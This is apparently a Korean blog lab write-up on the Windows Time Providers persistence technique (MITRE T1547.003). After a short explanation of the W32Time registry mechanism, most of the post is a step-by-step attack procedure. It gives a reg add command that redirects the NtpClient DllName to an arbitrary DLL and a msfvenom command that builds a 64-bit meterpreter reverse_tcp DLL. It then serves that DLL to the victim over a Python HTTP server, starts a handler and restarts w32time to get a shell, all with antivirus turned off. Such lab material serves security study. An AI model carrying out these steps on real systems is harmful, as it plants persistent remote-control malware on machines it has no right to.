T1547.003 - Time Providers / Window

 

Description

공격자는 시스템이 부팅될  DLL 실행하기 위해 시간 공급자를 남용할  있습니다. Windows 시간 서비스(W32Time) 도메인   도메인 내에서 시간 동기화를 가능하게 합니다 W32Time 시간 공급자는 하드웨어/네트워크 리소스에서 타임스탬프를 검색하고  값을 다른 네트워크 클라이언트에 출력하는 역할을 합니다

시간 공급자는  하위 키에 등록된 DLL(동적 연결 라이브러리) 구현됩니다 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\서비스 제어 관리자가 지시하는 시간 공급자 관리자는 시스템 시작  /또는 매개변수가 변경될 때마다   아래에 나열되고 활성화된 시간 공급자를 로드하고 시작합니다

공격자는 특히 악성 DLL 시간 공급자로 등록하고 활성화하여 지속성을 설정하기 위해  아키텍처를 남용할  있습니다실행은 로컬 서비스 계정의 컨텍스트에서 실행되지만 시간 공급자 등록에는 관리자 권한이 필요합니다

 

Test

 -환경 : Windows 11

 - 악성 페이로드를 DLL 안에 심고, 경로를 임의로 조작해서 동기화마다 페이로드를 실행 가능하다.

   위에서는 temp/w32time.dll이 동기화마다 실행되게 하는 모습이다.

 

 

공격 실습.

※주의

이후 기술할 공격 실습내용은 본인의 가상환경에서만 실습해보시기 바랍니다.

악용으로 인한 결과는 본 문서의 기술자가 책임지지 않습니다.

 

 

환경

 - windows 바이러스 및 백신 탐지 off

 

 

(1) Admin CMD에서 DLL이 임의의 위치를 가리키도록 레지스트리 키를 수정.

 원본값

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\temp\w32time.dll"

 

 - 값이 변경되었음.

 

 

(2) MSFVENOM을 사용하여 64bit 리버스 쉘 DLL 생성.

info 

 LHOST : 192.168.88.131

 LPORT : 9500

 RHOST : 172.30.1.21

 

  • msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f dll LHOST=192.168.137.130 LPORT=9500 > reverse_64bit.dll

 

 

(3) Simple Pythone HTTP Server를 사용하여 파일을 피해자 환경으로 전송.

  • python -m SimpleHTTPServer

 

 

(4) 1번에서 지정한 NtpClient의 DllName 레지스트리의 값으로 이동, 이름변경

 

 

(5) 공격자의 시스템에서 reverse handler 시작.

 - Payload : windows/x64/meterpreter/reverse_tcp

 - LHOST : 192.168.88.131

 - LPORT : 9500

 

 

(6) reverse TCP handler 실행, w32time service 재시작

 - 본 환경에서는 w32time이 꺼져 있었으므로, 바로 실행. (sc stop w32time : w32time 서비스 중지)

 

 

(7) 세션이 생성된 핸들러 확인.

 

 

 

#참고문헌

https://pentestlab.blog/2019/10/22/persistence-time-providers/

https://medium.com/securebit/meterpreter-shell-as-a-32-64-bit-dll-2520604e41f6

 

#w32time 레지스트리 정상화

https://zkim0115.tistory.com/1227

 

+ Recent posts